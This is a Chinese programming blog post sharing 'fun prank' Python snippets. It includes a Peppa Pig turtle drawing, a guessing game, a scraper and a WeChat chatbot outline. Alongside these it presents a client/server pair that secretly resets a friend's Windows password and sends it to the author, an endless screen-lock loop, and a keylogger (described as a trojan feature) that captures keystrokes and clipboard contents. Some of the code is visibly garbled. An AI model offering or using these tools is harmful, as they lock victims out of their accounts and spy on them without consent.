分享几款由“Python”语言编写的“有趣、恶搞、好玩”的程序代码

开发 后端
为提高大家对“Python”编程语言的学习兴趣,今天给大家分享几款有趣的Python程序代码,感兴趣的小伙伴可以跟着学习借鉴哦!

为提高大家对“Python”编程语言的学习兴趣,今天给大家分享几款有趣的Python程序代码,感兴趣的小伙伴可以跟着学习借鉴哦!

分享一:"啥是佩奇?"让Python语言告诉你

\"啥是佩奇?\"让Python语言告诉你

用Python代码创作一副佩奇:

  1. # coding:utf-8 
  2. import turtle as t 
  3.  
  4. t.pensize(4) 
  5. t.hideturtle() 
  6. t.colormode(255) 
  7. t.color((255,155,192),"pink") 
  8. t.setup(840,500) 
  9. t.speed(10) 
  10.  
  11. #鼻子 
  12. t.pu() 
  13. t.goto(-100,100) 
  14. t.pd() 
  15. t.seth(-30) 
  16. t.begin_fill() 
  17. a=0.4 
  18. for i in range(120): 
  19. if 0<=i<30 or 60<=i<90: 
  20. aa=a+0.08 
  21. t.lt(3) #向左转3度 
  22. t.fd(a) #向前走a的步长 
  23. else: 
  24. aa=a-0.08 
  25. t.lt(3) 
  26. t.fd(a) 
  27. t.end_fill() 
  28.  
  29. t.pu() 
  30. t.seth(90) 
  31. t.fd(25) 
  32. t.seth(0) 
  33. t.fd(10) 
  34. t.pd() 
  35. t.pencolor(255,155,192) 
  36. t.seth(10) 
  37. t.begin_fill() 
  38. t.circle(5) 
  39. t.color(160,82,45) 
  40. t.end_fill() 
  41.  
  42. t.pu() 
  43. t.seth(0) 
  44. t.fd(20) 
  45. t.pd() 
  46. t.pencolor(255,155,192) 
  47. t.seth(10) 
  48. t.begin_fill() 
  49. t.circle(5) 
  50. t.color(160,82,45) 
  51. t.end_fill() 
  52.  
  53. #头 
  54. t.color((255,155,192),"pink") 
  55. t.pu() 
  56. t.seth(90) 
  57. t.fd(41) 
  58. t.seth(0) 
  59. t.fd(0) 
  60. t.pd() 
  61. t.begin_fill() 
  62. t.seth(180) 
  63. t.circle(300,-30) 
  64. t.circle(100,-60) 
  65. t.circle(80,-100) 
  66. t.circle(150,-20) 
  67. t.circle(60,-95) 
  68. t.seth(161) 
  69. t.circle(-300,15) 
  70. t.pu() 
  71. t.goto(-100,100) 
  72. t.pd() 
  73. t.seth(-30) 
  74. a=0.4 
  75. for i in range(60): 
  76. if 0<=i<30 or 60<=i<90: 
  77. aa=a+0.08 
  78. t.lt(3) #向左转3度 
  79. t.fd(a) #向前走a的步长 
  80. else: 
  81. aa=a-0.08 
  82. t.lt(3) 
  83. t.fd(a) 
  84. t.end_fill() 
  85.  
  86. #耳朵 
  87. t.color((255,155,192),"pink") 
  88. t.pu() 
  89. t.seth(90) 
  90. t.fd(-7) 
  91. t.seth(0) 
  92. t.fd(70) 
  93. t.pd() 
  94. t.begin_fill() 
  95. t.seth(100) 
  96. t.circle(-50,50) 
  97. t.circle(-10,120) 
  98. t.circle(-50,54) 
  99. t.end_fill() 
  100.  
  101. t.pu() 
  102. t.seth(90) 
  103. t.fd(-12) 
  104. t.seth(0) 
  105. t.fd(30) 
  106. t.pd() 
  107. t.begin_fill() 
  108. t.seth(100) 
  109. t.circle(-50,50) 
  110. t.circle(-10,120) 
  111. t.circle(-50,56) 
  112. t.end_fill() 
  113.  
  114. #眼睛 
  115. t.color((255,155,192),"white") 
  116. t.pu() 
  117. t.seth(90) 
  118. t.fd(-20) 
  119. t.seth(0) 
  120. t.fd(-95) 
  121. t.pd() 
  122. t.begin_fill() 
  123. t.circle(15) 
  124. t.end_fill() 
  125.  
  126. t.color("black") 
  127. t.pu() 
  128. t.seth(90) 
  129. t.fd(12) 
  130. t.seth(0) 
  131. t.fd(-3) 
  132. t.pd() 
  133. t.begin_fill() 
  134. t.circle(3) 
  135. t.end_fill() 
  136.  
  137. t.color((255,155,192),"white") 
  138. t.pu() 
  139. t.seth(90) 
  140. t.fd(-25) 
  141. t.seth(0) 
  142. t.fd(40) 
  143. t.pd() 
  144. t.begin_fill() 
  145. t.circle(15) 
  146. t.end_fill() 
  147.  
  148. t.color("black") 
  149. t.pu() 
  150. t.seth(90) 
  151. t.fd(12) 
  152. t.seth(0) 
  153. t.fd(-3) 
  154. t.pd() 
  155. t.begin_fill() 
  156. t.circle(3) 
  157. t.end_fill() 
  158.  
  159. #腮 
  160. t.color((255,155,192)) 
  161. t.pu() 
  162. t.seth(90) 
  163. t.fd(-95) 
  164. t.seth(0) 
  165. t.fd(65) 
  166. t.pd() 
  167. t.begin_fill() 
  168. t.circle(30) 
  169. t.end_fill() 
  170.  
  171. #嘴 
  172. t.color(239,69,19) 
  173. t.pu() 
  174. t.seth(90) 
  175. t.fd(15) 
  176. t.seth(0) 
  177. t.fd(-100) 
  178. t.pd() 
  179. t.seth(-80) 
  180. t.circle(30,40) 
  181. t.circle(40,80) 
  182.  
  183. #身体 
  184. t.color("red",(255,99,71)) 
  185. t.pu() 
  186. t.seth(90) 
  187. t.fd(-20) 
  188. t.seth(0) 
  189. t.fd(-78) 
  190. t.pd() 
  191. t.begin_fill() 
  192. t.seth(-130) 
  193. t.circle(100,10) 
  194. t.circle(300,30) 
  195. t.seth(0) 
  196. t.fd(230) 
  197. t.seth(90) 
  198. t.circle(300,30) 
  199. t.circle(100,3) 
  200. t.color((255,155,192),(255,100,100)) 
  201. t.seth(-135) 
  202. t.circle(-80,63) 
  203. t.circle(-150,24) 
  204. t.end_fill() 
  205.  
  206. #手 
  207. t.color((255,155,192)) 
  208. t.pu() 
  209. t.seth(90) 
  210. t.fd(-40) 
  211. t.seth(0) 
  212. t.fd(-27) 
  213. t.pd() 
  214. t.seth(-160) 
  215. t.circle(300,15) 
  216. t.pu() 
  217. t.seth(90) 
  218. t.fd(15) 
  219. t.seth(0) 
  220. t.fd(0) 
  221. t.pd() 
  222. t.seth(-10) 
  223. t.circle(-20,90) 
  224.  
  225. t.pu() 
  226. t.seth(90) 
  227. t.fd(30) 
  228. t.seth(0) 
  229. t.fd(237) 
  230. t.pd() 
  231. t.seth(-20) 
  232. t.circle(-300,15) 
  233. t.pu() 
  234. t.seth(90) 
  235. t.fd(20) 
  236. t.seth(0) 
  237. t.fd(0) 
  238. t.pd() 
  239. t.seth(-170) 
  240. t.circle(20,90) 
  241.  
  242. #脚 
  243. t.pensize(10) 
  244. t.color((240,128,128)) 
  245. t.pu() 
  246. t.seth(90) 
  247. t.fd(-75) 
  248. t.seth(0) 
  249. t.fd(-180) 
  250. t.pd() 
  251. t.seth(-90) 
  252. t.fd(40) 
  253. t.seth(-180) 
  254. t.color("black") 
  255. t.pensize(15) 
  256. t.fd(20) 
  257.  
  258. t.pensize(10) 
  259. t.color((240,128,128)) 
  260. t.pu() 
  261. t.seth(90) 
  262. t.fd(40) 
  263. t.seth(0) 
  264. t.fd(90) 
  265. t.pd() 
  266. t.seth(-90) 
  267. t.fd(40) 
  268. t.seth(-180) 
  269. t.color("black") 
  270. t.pensize(15) 
  271. t.fd(20) 
  272.  
  273. #尾巴 
  274. t.pensize(4) 
  275. t.color((255,155,192)) 
  276. t.pu() 
  277. t.seth(90) 
  278. t.fd(70) 
  279. t.seth(0) 
  280. t.fd(95) 
  281. t.pd() 
  282. t.seth(0) 
  283. t.circle(70,20) 
  284. t.circle(10,330) 
  285. t.circle(70,30) 
  286. t.done() 

效果图如下:

分享二:一个可以套路别人的python小程序

程序是使用pycharm工具,python语言所写。程序包括客户端 client.py 和服务器端 server.py 两部分,利用了python中的socket包。

使用方法:

首先,你需要你和你的朋友在同一个局域网内,然后在你的主机上,运行服务器端 server.py。

然后,让你的朋友在他的电脑上运行客户端 client.py。

此时你朋友电脑的windows用户密码,就会变成一个随机密码,且这个生成的随机密码他本人无法得知,而是把这个密码通过socket传给了服务器端的你。

嗯,然后你朋友的电脑密码就只有你自己知道了~

上代码:

  1. # client.py: 
  2. import socket 
  3. import getpass 
  4. import subprocess 
  5. import random 
  6. phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  7. phone.connect(('172.17.21.56', 8080)) 
  8. user = getpass.getuser() 
  9. psd = '' 
  10. for j in range(1, 9): 
  11. m = str(random.randrange(0, 10)) 
  12. psdpsd = psd + m 
  13. subprocess.Popen(['net', 'User', user, psd]) 
  14. phone.send(psd.encode('utf-8')) 
  15. back_msg = phone.recv(1024) 
  16. phone.close() 
  17. # server.py 
  18. import socket 
  19. phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  20. phone.bind(('172.17.21.56', 8080)) 
  21. phone.listen(5) 
  22. print('starting....') 
  23. conn, addr = phone.accept() 
  24. print(conn) 
  25. print('client addr', addr) 
  26. print('ready to read msg') 
  27. client_msg = conn.recv(1024) 
  28. print('client msg: %s' % client_msg) 
  29. conn.send(client_msg.upper()) 
  30. conn.close() 
  31. phone.close() 

分享三:一段Python 恶搞代码

代码运行后windows将无限锁屏

代码如下:

  1. from ctypes import *  
  2. while True:  
  3. user32 = windll.LoadLibrary('user32.dll')  
  4. user32.LockWorkStation() 

分享四:一款python代码的数字猜谜小游戏

代码如下:

  1. import random 
  2. rang1 = int(input("请设置本局游戏的最小值:")) 
  3. rang2 = int(input("请设置本局游戏的最大值:")) 
  4. num = random.randint(rang1,rang2) 
  5. guess = "guess" 
  6. print("数字猜谜游戏!") 
  7. i = 0 
  8. while guess != num: 
  9. i += 1 
  10. guess = int(input("请输入你猜的数字:")) 
  11.  
  12. if guess == num: 
  13. print("恭喜,你猜对了!") 
  14. elif guess < num: 
  15. print("你猜的数小了...") 
  16. else: 
  17. print("你猜的数大了...") 
  18.  
  19. print("你总共猜了%d" %i + "次",end = ''
  20. print(",快和你朋友较量一下...") 

分享五:一段好玩的Python爬虫代码

这几年网络爬虫很火,用Python语言实现网络爬虫最合适不过了,接下来分享一段好玩的爬虫代码:

  1. # -*- coding: utf-8 -*- 
  2. import urllib2 
  3. import re 
  4. class QSBK: 
  5. def __init__(self): 
  6. self.pageIndex = 1 
  7. self.user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64)' 
  8. self.headers = {'User-Agent': self.user_agent} 
  9. self.stories = [] 
  10. # 存放程序是否继续运行的变量 
  11. self.enable = False 
  12. # 传入某一页的索引获得页面代码 
  13. def getPage(self, pageIndex): 
  14. try: 
  15. url = 'http://www.qiushibaike.com/hot/page/' + str(pageIndex) 
  16. request = urllib2.Request(url, headers = self.headers) 
  17. response = urllib2.urlopen(request) 
  18. pageCode = response.read().decode('utf-8') 
  19. return pageCode 
  20. except urllib2.URLError, e: 
  21. if hasattr(e, "reason"): 
  22. print u"连接糗事百科失败,错误原因", e.reason 
  23. return None 
  24.  
  25. # 传入某一页代码,返回本页不带图片的段子列表 
  26. def getPageItems(self, pageIndex): 
  27. pageCode = self.getPage(pageIndex) 
  28. if not pageCode: 
  29. print "页面加载失败。。。" 
  30. return None 
  31. pattern = re.compile('<div class="author clearfix">.*?<h2>(.*?)</h2>.*?"content">(.*?)</div>.*?number">(.*?)</.*?number">(.*?)</.',re.S) 
  32. items = re.findall(pattern, pageCode) 
  33. pageStories = [] 
  34. for item in items: 
  35. rereplaceBR = re.compile('<br/>') 
  36. text = re.sub(replaceBR," 
  37. ",item[1]) 
  38.  
  39. pageStories.append([item[0].strip(),text.strip(),item[2].strip(),item[3].strip()]) 
  40. return pageStories 
  41.  
  42. # 加载并提取页面内容,加入到列表中 
  43. def loadPage(self): 
  44. if self.enable == True: 
  45. if len(self.stories) < 2: 
  46. pageStories = self.getPageItems(self.pageIndex) 
  47. if pageStories: 
  48. self.stories.append(pageStories) 
  49. self.pageIndex += 1 
  50.  
  51. # 调用该方法,回车打印一个段子 
  52. def getOneStory(self, pageStories, page): 
  53. for story in pageStories: 
  54. input = raw_input() 
  55. self.loadPage() 
  56. if input == "Q": 
  57. self.enable = False 
  58. return 
  59. print u"第%d页    发布人:%s  赞:%s    评论:%s 
  60. %s" %(page,story[0],story[2],story[3],story[1]) 
  61.  
  62. def start(self): 
  63. print u"正在读取糗事百科,按回车查看新段子,Q退出" 
  64. self.enable = True 
  65. self.loadPage() 
  66. nowPage = 0 
  67. while self.enable: 
  68. if len(self.stories) > 0: 
  69. pageStories = self.stories[0] 
  70. nowPage += 1 
  71. del self.stories[0] 
  72. self.getOneStory(pageStories, nowPage) 
  73.  
  74. spider = QSBK() 
  75. spider.start() 

分享六、木马程序常用的键盘记录功能实现

Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。

代码如下:

  1. # -*- coding: utf-8 -*-  
  2. from ctypes import * 
  3. import pythoncom 
  4. import pyHook 
  5. import win32clipboard 
  6.   
  7. user32 = windll.user32 
  8. kernel32 = windll.kernel32 
  9. psapi = windll.psapi 
  10. current_window = None 
  11.   
  12. def get_current_process(): 
  13.   
  14.  # 获取最上层的窗口句柄 
  15.  hwnd = user32.GetForegroundWindow() 
  16.   
  17.  # 获取进程ID 
  18.  pid = c_ulong(0) 
  19.  user32.GetWindowThreadProcessId(hwnd,byref(pid)) 
  20.   
  21.  # 将进程ID存入变量中 
  22.  process_id = "%d" % pid.value 
  23.   
  24.  # 申请内存 
  25.  executable = create_string_buffer("\x00"*512) 
  26.  h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid) 
  27.   
  28.  psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) 
  29.   
  30.  # 读取窗口标题 
  31.  windows_title = create_string_buffer("\x00"*512) 
  32.  length = user32.GetWindowTextA(hwnd,byref(windows_title),512) 
  33.   
  34.  # 打印 
  35.  print 
  36.  print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value) 
  37.  print 
  38.   
  39.  # 关闭handles 
  40.  kernel32.CloseHandle(hwnd) 
  41.  kernel32.CloseHandle(h_process) 
  42.   
  43. # 定义击键监听事件函数 
  44. def KeyStroke(event): 
  45.   
  46.  global current_window 
  47.   
  48.  # 检测目标窗口是否转移(换了其他窗口就监听新的窗口) 
  49.  if event.WindowName != current_window: 
  50.  current_window = event.WindowName 
  51.  # 函数调用 
  52.  get_current_process() 
  53.   
  54.  # 检测击键是否常规按键(非组合键等) 
  55.  if event.Ascii > 32 and event.Ascii <127: 
  56.  print chr(event.Ascii), 
  57.  else: 
  58.  # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来 
  59.  if event.Key == "V": 
  60.  win32clipboard.OpenClipboard() 
  61.  pasted_value = win32clipboard.GetClipboardData() 
  62.  win32clipboard.CloseClipboard() 
  63.  print "[PASTE]-%s" % (pasted_value), 
  64.  else: 
  65.  print "[%s]" % event.Key, 
  66.  # 循环监听下一个击键事件 
  67.  return True 
  68.   
  69. # 创建并注册hook管理器 
  70. kl = pyHook.HookManager() 
  71. kl.KeyDown = KeyStroke 
  72.   
  73. # 注册hook并执行 
  74. kl.HookKeyboard() 
  75. pythoncom.PumpMessages() 

分享七:用Python写一个机器人陪自己聊聊天吧

用Python写一个机器人陪自己聊聊天吧。是不是听起来就很酷,用Python语言、itchat库、图灵机器人就可以轻松实现。

1. 需要的工具

  • Python。写代码的工具;
  • itchat库。第三方库,用来登录微信,接收并回复微信好友信息;
  • 图灵机器人。第三方接口,我们本次使用的机器人;

2. 代码如下:

(1) 准备

导入需要使用的第三方库

(2) 获取来自机器人的回复信息

在这里,调用图灵机器人库,把我们接收到的微信好友信息发给图灵机器人,再取回机器人回复的信息,回复给好友。

这里要用到图灵机器人的接口,到图灵机器人官网(http://www.tuling123.com)注册登陆之后,生成一个属于个人的免费接口,免费接口一天只能用1000条,虽然不多,但娱乐一下自己也是足够的了。

创建机器人成功之后会得到apikey,把这串密码放到代码中的"key"里,这一步就完成了。

[[256044]]

(3) 接受来自好友之间的对话信息

(4) 接受来自微信群里面的对话信息

如果不需要机器人在群聊里聊天,可以删除这块代码。

(5) 运行

最后一步,登录微信,并运行机器人。

[[256045]]

责任编辑:赵宁宁 来源: 今日头条
相关推荐

2022-12-28 08:59:11

2011-04-17 09:23:42

jQueryJavaScriptJava

2010-01-15 18:46:08

C++程序代码

2020-11-27 11:19:55

开发API工具

2023-01-28 23:23:51

软件监测工具

2011-11-03 15:44:10

程序员

2023-11-17 11:55:54

Pythonretrying库

2011-07-11 10:16:07

JavaScript

2009-06-17 14:29:50

java程序代码

2010-07-17 00:55:48

PHP Telnet

2011-03-18 13:30:18

Android办公

2024-01-15 13:29:00

IDEA插件POJO

2010-03-23 14:12:43

Python开发Win

2013-07-29 14:28:43

JQueryJQuery实现分页分页程序代码

2023-08-05 14:13:53

项目管理工具

2011-11-09 13:59:27

代码腐烂

2010-03-09 10:49:35

python简单应用

2014-01-16 13:36:17

2015-07-30 11:29:07

Web程序员CSS工具

2022-04-22 12:55:33

Qt开源项目
点赞
收藏

51CTO技术栈公众号